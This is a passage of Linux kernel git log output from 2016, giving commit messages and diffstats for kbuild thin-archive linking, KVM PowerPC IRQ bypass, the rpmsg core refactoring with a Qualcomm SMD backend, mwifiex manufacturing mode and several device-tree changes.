to define registers (which is usually less error-prone and easier to match with datasheets). This approach is the most convenient I've seen so to limit code multiplication let's move the macros to a global header file. Attempts to use static inlines instead of macros failed due to false positive triggering of BUILD_BUG_ON()s, especially with GCC < 6.0. Signed-off-by: Jakub Kicinski Reviewed-by: Dinan Gunawardena Signed-off-by: Kalle Valo include/linux/bitfield.h | 93 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/bug.h | 3 ++ 2 files changed, 96 insertions(+) commit 3935ccc14d2c68488bd96448fc073da48eaeebf0 Author: Xinming Hu Date: Fri Sep 2 13:05:07 2016 +0530 mwifiex: add cfg80211 testmode support This patch adds cfg80211 testmode support so that userspace tools can download necessary commands to firmware during manufacturing mode tests. Signed-off-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 83 +++++++++++++++++++++++++ 1 file changed, 83 insertions(+) commit cf5383b088d07f304d189986fdbd4efbd7d41538 Author: Xinming Hu Date: Fri Sep 2 13:05:06 2016 +0530 mwifiex: add manufacturing mode support By default normal mode is chosen when driver is loaded. This patch adds a provision to choose manufacturing mode via module parameters. Below command loads driver in manufacturing mode insmod mwifiex.ko mfg_mode=1. Tested-by: chunfan chen Signed-off-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cmdevt.c | 8 ++++++++ drivers/net/wireless/marvell/mwifiex/init.c | 22 +++++++++++++++------- drivers/net/wireless/marvell/mwifiex/main.c | 26 ++++++++++++++++++++++---- drivers/net/wireless/marvell/mwifiex/main.h | 2 ++ drivers/net/wireless/marvell/mwifiex/pcie.c | 2 +- drivers/net/wireless/marvell/mwifiex/sdio.c | 2 +- drivers/net/wireless/marvell/mwifiex/usb.c | 2 +- 7 files changed, 50 insertions(+), 14 deletions(-) commit defb893fffef89ac6db4e68fccae1783d7c93977 Author: Arnd Bergmann Date: Thu Mar 17 10:39:17 2016 +0100 bcma: use of_dma_configure() to set initial dma mask While fixing another bug, I noticed that bcma manually sets up a dma_mask pointer for its child devices. We have a generic helper for that now, which should be able to cope better with any variations that might be needed to deal with cache coherency, unusual DMA address offsets, iommus, or limited DMA masks, none of which are currently handled here. This changes the core to use the of_dma_configure(), like we do for platform devices that are probed directly from DT. Signed-off-by: Arnd Bergmann Signed-off-by: Kalle Valo drivers/bcma/main.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit fbe6e37dab974dd0fc3660c001895f7bfd771c9a Author: Nicholas Piggin Date: Wed Aug 24 22:29:21 2016 +1000 kbuild: add arch specific post-link Makefile Allow architectures to create arch/xxx/Makefile.postlink with targets for vmlinux, modules.ko, and clean, which will be invoked after final linking of vmlinux and modules. powerpc will use this to check vmlinux linker relocations for sanity, and may use it to fix up alternate instruction patch branch addresses. Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek Documentation/kbuild/makefiles.txt | 16 ++++++++++++++++ Makefile | 10 +++++++--- scripts/Makefile.modpost | 14 +++++++++----- 3 files changed, 32 insertions(+), 8 deletions(-) commit b67067f1176df6ee727450546b58704e4b588563 Author: Nicholas Piggin Date: Wed Aug 24 22:29:20 2016 +1000 kbuild: allow archs to select link dead code/data elimination Introduce LD_DEAD_CODE_DATA_ELIMINATION option for architectures to select to build with -ffunction-sections, -fdata-sections, and link with --gc-sections. It requires some work (documented) to ensure all unreferenced entrypoints are live, and requires toolchain and build verification, so it is made a per-arch option for now. On a random powerpc64le build, this yelds a significant size saving, it boots and runs fine, but there is a lot I haven't tested as yet, so these savings may be reduced if there are bugs in the link. text data bss dec filename 11169741 1180744 1923176 14273661 vmlinux 10445269 1004127 1919707 13369103 vmlinux.dce ~700K text, ~170K data, 6% removed from kernel image size. Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek Makefile | 9 +++++++ arch/Kconfig | 13 ++++++++++ include/asm-generic/vmlinux.lds.h | 52 ++++++++++++++++++++++----------------- include/linux/compiler.h | 23 +++++++++++++++++ include/linux/export.h | 30 +++++++++++----------- include/linux/init.h | 38 ++++++++++------------------ init/Makefile | 2 ++ 7 files changed, 104 insertions(+), 63 deletions(-) commit a5967db9af51a84f5e181600954714a9e4c69f1f Author: Stephen Rothwell Date: Wed Aug 24 22:29:19 2016 +1000 kbuild: allow architectures to use thin archives instead of ld -r ld -r is an incremental link used to create built-in.o files in build subdirectories. It produces relocatable object files containing all its input files, and these are are then pulled together and relocated in the final link. Aside from the bloat, this constrains the final link relocations, which has bitten large powerpc builds with unresolvable relocations in the final link. Alan Modra has recommended the kernel use thin archives for linking. This is an alternative and means that the linker has more information available to it when it links the kernel. This patch enables a config option architectures can select, which causes all built-in.o files to be built as thin archives. built-in.o files in subdirectories do not get symbol table or index attached, which improves speed and size. The final link pass creates a built-in.o archive in the root output directory which includes the symbol table and index. The linker then uses takes this file to link. The --whole-archive linker option is required, because the linker now has visibility to every individual object file, and it will otherwise just completely avoid including those without external references (consider a file with EXPORT_SYMBOL or initcall or hardware exceptions as its only entry points). The traditional built works "by luck" as built-in.o files are large enough that they're going to get external references. However this optimisation is unpredictable for the kernel (due to above external references), ineffective at culling unused, and costly because the .o files have to be searched for references. Superior alternatives for link-time culling should be used instead. Build characteristics for inclink vs thinarc, on a small powerpc64le pseries VM with a modest .config: inclink thinarc sizes vmlinux 15 618 680 15 625 028 sum of all built-in.o 56 091 808 1 054 334 sum excluding root built-in.o 151 430 find -name built-in.o | xargs rm ; time make vmlinux real 22.772s 21.143s user 13.280s 13.430s sys 4.310s 2.750s - Final kernel pulled in only about 6K more, which shows how ineffective the object file culling is. - Build performance looks improved due to less pagecache activity. On IO constrained systems it could be a bigger win. - Build size saving is significant. Side note, the toochain understands archives, so there's some tricks, $ ar t built-in.o # list all files you linked with $ size built-in.o # and their sizes $ objdump -d built-in.o # disassembly (unrelocated) with filenames Implementation by sfr, minor tweaks by npiggin. Signed-off-by: Stephen Rothwell Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek arch/Kconfig | 6 +++++ scripts/Makefile.build | 23 +++++++++++++--- scripts/link-vmlinux.sh | 71 +++++++++++++++++++++++++++++++++++++++++-------- 3 files changed, 85 insertions(+), 15 deletions(-) commit 490583f0b6604a50073c3ba73fce596dc30d3282 Author: Chanwoo Choi Date: Thu Aug 18 21:47:19 2016 +0900 MAINTAINERS: Add myself as Samsung SoC clock drivers co-maintainer Add myself to the SAMSUNG SOC CLOCK DRIVERS entry, I'm going to review and test related patches as supporter. I can access all the datasheet of Exynos SoC series and can do tests on Exynos based boards. I have implemented the exynos4415/5433 clock drivers and co-authored the exynos3250 clock driver. While at it, add missing paths of the exynos clock driver files. Cc: Tomasz Figa Signed-off-by: Chanwoo Choi Signed-off-by: Sylwester Nawrocki MAINTAINERS | 3 +++ 1 file changed, 3 insertions(+) commit 58d6506f327e3d192998ba03632f546da221b8d8 Author: Sylwester Nawrocki Date: Mon Aug 22 11:15:39 2016 +0200 clk: samsung: exynos5410: Add clock IDs for PDMA and EPLL clocks The PDMA{0,1} and EPLL clock IDs are added separately in this patch so the patch can be merged to the arm-soc tree as dependency. Signed-off-by: Sylwester Nawrocki Reviewed-by: Krzysztof Kozlowski Reviewed-by: Chanwoo Choi include/dt-bindings/clock/exynos5410.h | 3 +++ 1 file changed, 3 insertions(+) commit 3b6b717218968b500753f5b6b9eeeebcc4763446 Author: Chanwoo Choi Date: Thu Aug 25 15:57:16 2016 +0900 clk: samsung: Add clock IDs for the CMU_CDREX (DRAM Express Controller) This patch adds missing clock IDs for CMU_CDREX (DRAM Express Controller) which generates clocks for DRAM and NoC (Network on Chip) busses. Signed-off-by: Chanwoo Choi Signed-off-by: Sylwester Nawrocki include/dt-bindings/clock/exynos5420.h | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 390aafe324e930a640deae6c2e029f7a79650df8 Author: Jean-Christophe Trotin Date: Mon Jul 25 09:57:30 2016 +0200 ARM: dts: STiH410: Add hva dt nodes Add the hva (multi-format video encoder for STMicroelectronics SoC) dt nodes for the hva device, defining register address, interrupt and clock. Signed-off-by: Jean-Christophe TROTIN arch/arm/boot/dts/stih410.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 34a3d4b2d1f1b7c81af79f6f93a6cef4c3a0f54a Author: Richard Guy Briggs Date: Thu Sep 8 13:55:56 2016 -0400 xfrm: fix header file comment reference to struct xfrm_replay_state_esn Reported-by: Paul Wouters Signed-off-by: Richard Guy Briggs Signed-off-by: Steffen Klassert include/uapi/linux/xfrm.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c57875f5f9be2cea1f1cc83f815a3aadabedcdd3 Author: Suresh Warrier Date: Fri Aug 19 15:35:50 2016 +1000 KVM: PPC: Book3S HV: Enable IRQ bypass Add the irq_bypass_add_producer and irq_bypass_del_producer functions. These functions get called whenever a GSI is being defined for a guest. They create/remove the mapping between host real IRQ numbers and the guest GSI. Add the following helper functions to manage the passthrough IRQ map. kvmppc_set_passthru_irq() Creates a mapping in the passthrough IRQ map that maps a host IRQ to a guest GSI. It allocates the structure (one per guest VM) the first time it is called. kvmppc_clr_passthru_irq() Removes the passthrough IRQ map entry given a guest GSI. The passthrough IRQ map structure is not freed even when the number of mapped entries goes to zero. It is only freed when the VM is destroyed. [paulus@ozlabs.org - modified to use is_pnv_opal_msi() rather than requiring all passed-through interrupts to use the same irq_chip; changed deletion so it zeroes out the r_hwirq field rather than copying the last entry down and decrementing the number of entries.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_hv.c | 160 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 159 insertions(+), 1 deletion(-) commit 8daaafc88b46fb3af952e92d7c2816a8950e1363 Author: Suresh Warrier Date: Fri Aug 19 15:35:48 2016 +1000 KVM: PPC: Book3S HV: Introduce kvmppc_passthru_irqmap This patch introduces an IRQ mapping structure, the kvmppc_passthru_irqmap structure that is to be used to map the real hardware IRQ in the host with the virtual hardware IRQ (gsi) that is injected into a guest by KVM for passthrough adapters. Currently, we assume a separate IRQ mapping structure for each guest. Each kvmppc_passthru_irqmap has a mapping arrays, containing all defined real<->virtual IRQs. [paulus@ozlabs.org - removed irq_chip field from struct kvmppc_passthru_irqmap; changed parameter for kvmppc_get_passthru_irqmap from struct kvm_vcpu * to struct kvm *, removed small cached array.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_host.h | 17 +++++++++++++++++ arch/powerpc/include/asm/kvm_ppc.h | 14 ++++++++++++++ arch/powerpc/kvm/book3s_hv.c | 13 +++++++++++++ 3 files changed, 44 insertions(+) commit 9576730d0e6e301343c5aead5418ad53fcecfd14 Author: Suresh Warrier Date: Fri Aug 19 15:35:47 2016 +1000 KVM: PPC: select IRQ_BYPASS_MANAGER Select IRQ_BYPASS_MANAGER for PPC when CONFIG_KVM is set. Add the PPC producer functions for add and del producer. [paulus@ozlabs.org - Moved new functions from book3s.c to powerpc.c so booke compiles; added kvm_arch_has_irq_bypass implementation.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_ppc.h | 4 ++++ arch/powerpc/kvm/Kconfig | 2 ++ arch/powerpc/kvm/powerpc.c | 38 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 44 insertions(+) commit 37f55d30df2eef89b97d627e5830beb6983c4101 Author: Suresh Warrier Date: Fri Aug 19 15:35:46 2016 +1000 KVM: PPC: Book3S HV: Convert kvmppc_read_intr to a C function Modify kvmppc_read_intr to make it a C function. Because it is called from kvmppc_check_wake_reason, any of the assembler code that calls either kvmppc_read_intr or kvmppc_check_wake_reason now has to assume that the volatile registers might have been modified. This also adds in the optimization of clearing saved_xirr in the case where we completely handle and EOI an IPI. Without this, the next device interrupt will require two trips through the host interrupt handling code. [paulus@ozlabs.org - made kvmppc_check_wake_reason create a stack frame when it is calling kvmppc_read_intr, which means we can set r12 to the trap number (0x500) after the call to kvmppc_read_intr, instead of using r31. Also moved the deliver_guest_interrupt label so as to restore XER and CTR, plus other minor tweaks.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_hv_builtin.c | 84 +++++++++++++++++ arch/powerpc/kvm/book3s_hv_rmhandlers.S | 158 +++++++++++++++----------------- 2 files changed, 158 insertions(+), 84 deletions(-) commit 99212c864e1f6d2800e62bc8c52d6335bfca029f Merge: 2a27f51 3f25777 Author: Paul Mackerras Date: Fri Sep 9 16:24:23 2016 +1000 Merge branch 'kvm-ppc-infrastructure' into kvm-ppc-next This merges the topic branch 'kvm-ppc-infrastructure' into kvm-ppc-next so that I can then apply further patches that need the changes in the kvm-ppc-infrastructure branch. Signed-off-by: Paul Mackerras commit bb728d662bed0fe91b152550e640cb3f6caa972c Author: Vladimir Zapolskiy Date: Fri Sep 9 05:02:36 2016 +0300 ARM: dts: add gpio-ranges property to iMX GPIO controllers To establish a connection between GPIO controllers and pin multiplexor controller add gpio-ranges properties to all GPIO controllers found on iMX50, iMX6Q/D, iMX6DL/S, iMX6SL, iMX6SX, iMX6UL and iMX7D/S SoCs. The change was done after human parsing of output from % gawk -n '{ sub(/.*__/, ""); if ($1 ~ "^GPIO") print $1, $2/4}' imxXX-pinfunc.h | sort -n Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/boot/dts/imx50.dtsi | 10 ++++++++ arch/arm/boot/dts/imx6dl.dtsi | 53 +++++++++++++++++++++++++++++++++++++++++++ arch/arm/boot/dts/imx6q.dtsi | 37 ++++++++++++++++++++++++++++++ arch/arm/boot/dts/imx6sl.dtsi | 47 ++++++++++++++++++++++++++++++++++++++ arch/arm/boot/dts/imx6sx.dtsi | 7 ++++++ arch/arm/boot/dts/imx6ul.dtsi | 6 +++++ arch/arm/boot/dts/imx7s.dtsi | 7 ++++++ 7 files changed, 167 insertions(+) commit 3f2577749948803491874c6895fec559f3473eab Author: Paolo Bonzini Date: Thu Aug 11 15:07:43 2016 +0200 powerpc: move hmi.c to arch/powerpc/kvm/ hmi.c functions are unused unless sibling_subcore_state is nonzero, and that in turn happens only if KVM is in use. So move the code to arch/powerpc/kvm/, putting it under CONFIG_KVM_BOOK3S_HV_POSSIBLE rather than CONFIG_PPC_BOOK3S_64. The sibling_subcore_state is also included in struct paca_struct only if KVM is supported by the kernel. Cc: Daniel Axtens Cc: Michael Ellerman Cc: Mahesh Salgaonkar Cc: Paul Mackerras Cc: linuxppc-dev@lists.ozlabs.org Cc: kvm-ppc@vger.kernel.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: Paul Mackerras arch/powerpc/include/asm/hmi.h | 2 +- arch/powerpc/include/asm/paca.h | 12 +++++---- arch/powerpc/kernel/Makefile | 2 +- arch/powerpc/kernel/hmi.c | 56 ---------------------------------------- arch/powerpc/kvm/Makefile | 1 + arch/powerpc/kvm/book3s_hv_hmi.c | 56 ++++++++++++++++++++++++++++++++++++++++ 6 files changed, 66 insertions(+), 63 deletions(-) commit f8979757f17ca2dcd423a0604bfe21048824409c Author: Uwe Kleine-König Date: Thu Sep 8 11:28:15 2016 +0200 ARM: dts: imx35: add iim module to imx35.dtsi This is a prerequisite to remove the static mappings for imx35 devicetree based machines. Signed-off-by: Uwe Kleine-König Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx35.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 4ee11c1a9f7cc20026bb66ac624533310a605312 Author: Suresh Warrier Date: Fri Aug 19 15:35:49 2016 +1000 powerpc/powernv: Provide facilities for EOI, usable from real mode This adds a new function pnv_opal_pci_msi_eoi() which does the part of end-of-interrupt (EOI) handling of an MSI which involves doing an OPAL call. This function can be called in real mode. This doesn't just export pnv_ioda2_msi_eoi() because that does a call to icp_native_eoi(), which does not work in real mode. This also adds a function, is_pnv_opal_msi(), which KVM can call to check whether an interrupt is one for which we should be calling pnv_opal_pci_msi_eoi() when we need to do an EOI. [paulus@ozlabs.org - split out the addition of pnv_opal_pci_msi_eoi() from Suresh's patch "KVM: PPC: Book3S HV: Handle passthrough interrupts in guest"; added is_pnv_opal_msi(); wrote description.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/pnv-pci.h | 3 +++ arch/powerpc/platforms/powernv/pci-ioda.c | 24 ++++++++++++++++++++---- 2 files changed, 23 insertions(+), 4 deletions(-) commit 07b1fdf5bd135d94eff2b3a6849b90c358963066 Author: Suresh Warrier Date: Fri Aug 19 15:35:45 2016 +1000 powerpc: Add simple cache inhibited MMIO accessors Add simple cache inhibited accessors for memory mapped I/O. Unlike the accessors built from the DEF_MMIO_* macros, these don't include any hardware memory barriers, callers need to manage memory barriers on their own. These can only be called in hypervisor real mode. Signed-off-by: Suresh Warrier [paulus@ozlabs.org - added line to comment] Signed-off-by: Paul Mackerras arch/powerpc/include/asm/io.h | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 0eeede0c63305a33de31bd90b53b023c1d452c17 Author: Paul Mackerras Date: Fri Sep 2 17:20:43 2016 +1000 powerpc/mm: Speed up computation of base and actual page size for a HPTE This replaces a 2-D search through an array with a simple 8-bit table lookup for determining the actual and/or base page size for a HPT entry. The encoding in the second doubleword of the HPTE is designed to encode the actual and base page sizes without using any more bits than would be needed for a 4k page number, by using between 1 and 8 low-order bits of the RPN (real page number) field to encode the page sizes. A single "large page" bit in the first doubleword indicates that these low-order bits are to be interpreted like this. We can determine the page sizes by using the low-order 8 bits of the RPN to look up a 256-entry table. For actual page sizes less than 1MB, some of the upper bits of these 8 bits are going to be real address bits, but we can cope with that by replicating the entries for those smaller page sizes. While we're at it, let's move the hpte_page_size() and hpte_base_page_size() functions from a KVM-specific header to a header for 64-bit HPT systems, since this computation doesn't have anything specifically to do with KVM. Reviewed-by: Aneesh Kumar K.V Signed-off-by: Paul Mackerras arch/powerpc/include/asm/book3s/64/mmu-hash.h | 37 ++++++++++++ arch/powerpc/include/asm/kvm_book3s_64.h | 87 +++------------------------ arch/powerpc/include/asm/mmu.h | 1 + arch/powerpc/mm/hash_native_64.c | 42 +------------ arch/powerpc/mm/hash_utils_64.c | 55 +++++++++++++++++ 5 files changed, 102 insertions(+), 120 deletions(-) commit e5f51a623a5d6dd24779e5136cf923611b032453 Author: Liu Gang Date: Thu Sep 8 10:31:44 2016 +0800 arm64: dts: ls2080a: Add 'dma-coherent' for ls2080a PCI nodes The 'dma-coherent' indicates that the hardware IP block can ensure the coherency of the data transferred from/to the IP block. This can avoid the software cache flush/invalid actions, and improve the performance significantly. The PCI IP block of ls2080a has this capability, so adding this feature to improve the PCI performance. Signed-off-by: Liu Gang Signed-off-by: Shawn Guo arch/arm64/boot/dts/freescale/fsl-ls2080a.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit 14520d630adb4314722dd57ccb689ffdc6a31383 Merge: c0b172e 25b8592 Author: Ingo Molnar Date: Fri Sep 9 07:46:13 2016 +0200 Merge tag 'perf-core-for-mingo-20160908' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: User visible changes: - Add branch stack / basic block info to 'perf annotate --stdio', where for each branch, we add an asm comment after the instruction with information on how often it was taken and predicted. See example with color output at: http://vger.kernel.org/~acme/perf/annotate_basic_blocks.png (Peter Zijlstra) - Only open an evsel in CPUs in its cpu map, fixing some use cases in systems with multiple PMUs with different CPU maps (Mark Rutland) - Fix handling of huge TLB maps, recognizing it as anonymous (Wang Nan) Infrastructure changes: - Remove the symbol filtering code, i.e. the callbacks passed to all functions that could end up loading a DSO symtab, simplifying the code, eventually allowing what we should have had since day one: removing the 'map' parameter from dso__load() functions (Arnaldo Carvalho de Melo) Arch specific build fixes: - Fix detached tarball build on powerpc, where we were still accessing a file outside tools/ (Ravi Bangoria) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 53e2822e56c7bc67e5dc19acb1e5fbb8ebff8614 Author: Bjorn Andersson Date: Thu Sep 1 15:28:09 2016 -0700 rpmsg: Introduce Qualcomm SMD backend This introduces a new rpmsg backend for the Qualcomm SMD system, allowing communication with various remote processors found in Qualcomm platforms. The implementation is based on, and intends to replace, drivers/soc/qcom/smd.c with the necessary adaptions for fitting with the rpmsg core. Based on original work by Sricharan R Cc: Sricharan R Signed-off-by: Bjorn Andersson drivers/rpmsg/Kconfig | 10 + drivers/rpmsg/Makefile | 1 + drivers/rpmsg/qcom_smd.c | 1434 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1445 insertions(+) commit 4b83c52a21cf5a7421b7c28bebf8ff28ba96ceb9 Author: Bjorn Andersson Date: Thu Sep 1 15:28:08 2016 -0700 rpmsg: Allow callback to return errors Some rpmsg backends support holding on to and redelivering messages upon failed handling of them, so provide a way for the callback to report and error and allow the backends to handle this. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 10 ++++++---- include/linux/rpmsg.h | 4 ++-- samples/rpmsg/rpmsg_client_sample.c | 6 ++++-- 3 files changed, 12 insertions(+), 8 deletions(-) commit e88dae5da46d3989fd6a83dd9f6806777b20d1ae Author: Bjorn Andersson Date: Thu Sep 1 15:28:07 2016 -0700 rpmsg: Move virtio specifics from public header Move virtio rpmsg implementation details from the public header file to the virtio rpmsg implementation. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 52 ++++++++++++++++++++++++++++++++++++++++ include/linux/rpmsg.h | 52 ---------------------------------------- 2 files changed, 52 insertions(+), 52 deletions(-) commit 3bf950ff23337fc812736520ff9d098284187844 Author: Bjorn Andersson Date: Thu Sep 1 15:28:06 2016 -0700 rpmsg: virtio: Hide vrp pointer from the public API Create a container struct virtio_rpmsg_channel around the rpmsg_channel to keep virtio backend information separate from the rpmsg and public API. This makes the public structures independant of virtio. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 43 ++++++++++++++++++++++++++++++++-------- include/linux/rpmsg.h | 3 --- 2 files changed, 35 insertions(+), 11 deletions(-) commit fade037e0fd504cd02f51d280928d89c75527f2e Author: Bjorn Andersson Date: Thu Sep 1 15:28:05 2016 -0700 rpmsg: Hide rpmsg indirection tables Move the device and endpoint indirection tables to the rpmsg internal header file, to hide them from the public API. Signed-off-by: Bjorn Andersson drivers/rpmsg/rpmsg_core.c | 3 +++ drivers/rpmsg/rpmsg_internal.h | 47 ++++++++++++++++++++++++++++++++++++++++++ include/linux/rpmsg.h | 47 ------------------------------------------ 3 files changed, 50 insertions(+), 47 deletions(-) commit 5e619b48677ca8c9fb907c58383859cea78705c9 Author: Bjorn Andersson Date: Thu Sep 1 15:28:04 2016 -0700 rpmsg: Split rpmsg core and virtio backend Extract the generic rpmsg core functionality from the virtio rpmsg implementation, splitting the implementation in a rpmsg core and a virtio backend. Based on initial work by Sricharan R Cc: Sricharan R Signed-off-by: Bjorn Andersson drivers/rpmsg/rpmsg_core.c | 231 +++++++++++++++++++++++++++++++++++++++ drivers/rpmsg/rpmsg_internal.h | 4 + drivers/rpmsg/virtio_rpmsg_bus.c | 225 +------------------------------------- 3 files changed, 237 insertions(+), 223 deletions(-) commit 6eed598a049193917a2e15b163abb58c5c1ef466 Author: Bjorn Andersson Date: Thu Sep 1 15:28:03 2016 -0700 rpmsg: Split off generic tail of create_channel() The tail of create_channel() is common among all rpmsg backends, so split it off from the virtio specific part to allow it to be extracted to the rpmsg core. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit 8b881c07cb805e1a126d434359706e45864ea2df Author: Bjorn Andersson Date: Thu Sep 1 15:28:02 2016 -0700 rpmsg: Move helper for finding rpmsg devices to core Extract and move the helper function for finding rpmsg child devices to the core. Signed-off-by: Bjorn Andersson drivers/rpmsg/rpmsg_core.c | 33 +++++++++++++++++++++++++++++++++ drivers/rpmsg/rpmsg_internal.h | 31 +++++++++++++++++++++++++++++++ drivers/rpmsg/virtio_rpmsg_bus.c | 29 ++++------------------------- 3 files changed, 68 insertions(+), 25 deletions(-) commit c9bd6f422090b874b5877b4cedcd7757eac33117 Author: Bjorn Andersson Date: Thu Sep 1 15:28:01 2016 -0700 rpmsg: Move endpoint related interface to rpmsg core Move the rpmsg_send() and rpmsg_destroy_ept() interface to the rpmsg core, so that we eventually can hide the rpmsg_endpoint ops from the public API. Signed-off-by: Bjorn Andersson drivers/rpmsg/rpmsg_core.c | 160 +++++++++++++++++++++++++++++++++++++++ drivers/rpmsg/virtio_rpmsg_bus.c | 13 ---- include/linux/rpmsg.h | 148 ++---------------------------------- 3 files changed, 166 insertions(+), 155 deletions(-) commit 8a228ecfe086b84e237a8d78be079e286e1ea67b Author: Bjorn Andersson Date: Thu Sep 1 15:28:00 2016 -0700 rpmsg: Indirection table for rpmsg_endpoint operations Add indirection table for rpmsg_endpoint related operations and move virtio implementation behind this, this finishes of the decoupling of the virtio implementation from the public API. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 85 ++++++++++++++++++++++++++++++++++++++-- include/linux/rpmsg.h | 62 +++++++++++++++++------------ 2 files changed, 120 insertions(+), 27 deletions(-) commit 026dad47a814cd32aad6174a8f1218b020a277b1 Author: Bjorn Andersson Date: Thu Sep 1 15:27:59 2016 -0700 rpmsg: Move rpmsg_device API to new file Extract the now indirect rpmsg_create_ept() interface to a separate file and start building up a rpmsg core. Signed-off-by: Bjorn Andersson drivers/remoteproc/Kconfig | 4 +-- drivers/rpmsg/Kconfig | 4 +++ drivers/rpmsg/Makefile | 3 +- drivers/rpmsg/rpmsg_core.c | 71 ++++++++++++++++++++++++++++++++++++++++ drivers/rpmsg/virtio_rpmsg_bus.c | 48 --------------------------- 5 files changed, 79 insertions(+), 51 deletions(-) commit 36b72c7dca718717108120cdff7b56258a8862b4 Author: Bjorn Andersson Date: Thu Sep 1 15:27:58 2016 -0700 rpmsg: Introduce indirection table for rpmsg_device operations To allow for multiple backend implementations add an indireection table for rpmsg_device related operations and move the virtio implementation behind this table. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 48 +++++++++++++++++++++++++++++++++++----- include/linux/rpmsg.h | 23 +++++++++++++++++++ 2 files changed, 65 insertions(+), 6 deletions(-) commit 92e1de51bf2cb8d49adc8925abe56ce84911a232 Author: Bjorn Andersson Date: Thu Sep 1 15:27:57 2016 -0700 rpmsg: Clean up rpmsg device vs channel naming The rpmsg device representing struct is called rpmsg_channel and the variable name used throughout is rpdev, with the communication happening on endpoints it's clearer to just call this a "device" in a public API. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 42 ++++++++++++++++++------------------- include/linux/rpmsg.h | 32 +++++++++++++++------------- samples/rpmsg/rpmsg_client_sample.c | 6 +++--- 3 files changed, 41 insertions(+), 39 deletions(-) commit 2b263d2408663a36c14a0aa1f765b2c84b92ea18 Author: Bjorn Andersson Date: Thu Sep 1 15:27:56 2016 -0700 rpmsg: Make rpmsg_create_ept() take channel_info struct As we introduce support for additional rpmsg backends, some of these only supports point-to-point "links" represented by a name. By making rpmsg_create_ept() take a channel_info struct we allow for these backends to either be passed a source address, a destination address or a name identifier. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 26 ++++++++++---------------- include/linux/rpmsg.h | 15 ++++++++++++++- 2 files changed, 24 insertions(+), 17 deletions(-) commit 2a48d7322dc88f1bc6c8bd9e087fc6341ba659fd Author: Bjorn Andersson Date: Thu Sep 1 15:27:55 2016 -0700 rpmsg: rpmsg_send() operations takes rpmsg_endpoint The rpmsg_send() operations has been taking a rpmsg_device, but this forces users of secondary rpmsg_endpoints to use the rpmsg_sendto() interface - by extracting source and destination from the given data structures. If we instead pass the rpmsg_endpoint to these functions a service can use rpmsg_sendto() to respond to messages, even on secondary endpoints. In addition this would allow us to support operations on multiple channels in future backends that does not support off-channel operations. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 6 ++-- include/linux/rpmsg.h | 70 +++++++++++++++++++++---------------- samples/rpmsg/rpmsg_client_sample.c | 4 +-- 3 files changed, 45 insertions(+), 35 deletions(-) commit 4dffed5b3ac796bcaf040ca1f64e650f9263363e Author: Bjorn Andersson Date: Thu Sep 1 15:27:54 2016 -0700 rpmsg: Name rpmsg devices based on channel id By basing rpmsg device names on channel id we end up with human readable device names in sysfs and debug logs. Reviewed-by: Sarangdhar Joshi Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) commit a16644cb3a96323074d3e71b5d600066d6397c5a Author: Bjorn Andersson Date: Thu Sep 1 15:27:53 2016 -0700 rpmsg: Enable matching devices with drivers based on DT Make it possible to match rpmsg devices based on device tree node, in addition to the id table. In some of these cases the rpmsg driver would not have a id_table, so make this optional. Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit c0a4b9ec1b43ebb9d5001e3bf86f58d4ca0ffe18 Author: Guenter Roeck Date: Tue Jul 5 19:10:52 2016 -0700 hwmon: (lm95245) Use new hwmon registration API Simplify code and reduce code size by using the new hwmon registration API. Other changes: - Convert to use regmap, and drop local caching. This avoids reading registers unnecessarily, and uses regmap for caching of non-volatile registers. - Add support for temp2_max, temp2_max_alarm, temp2_max_hyst, and temp2_offset. - Order include files alphabetically - Drop FSF 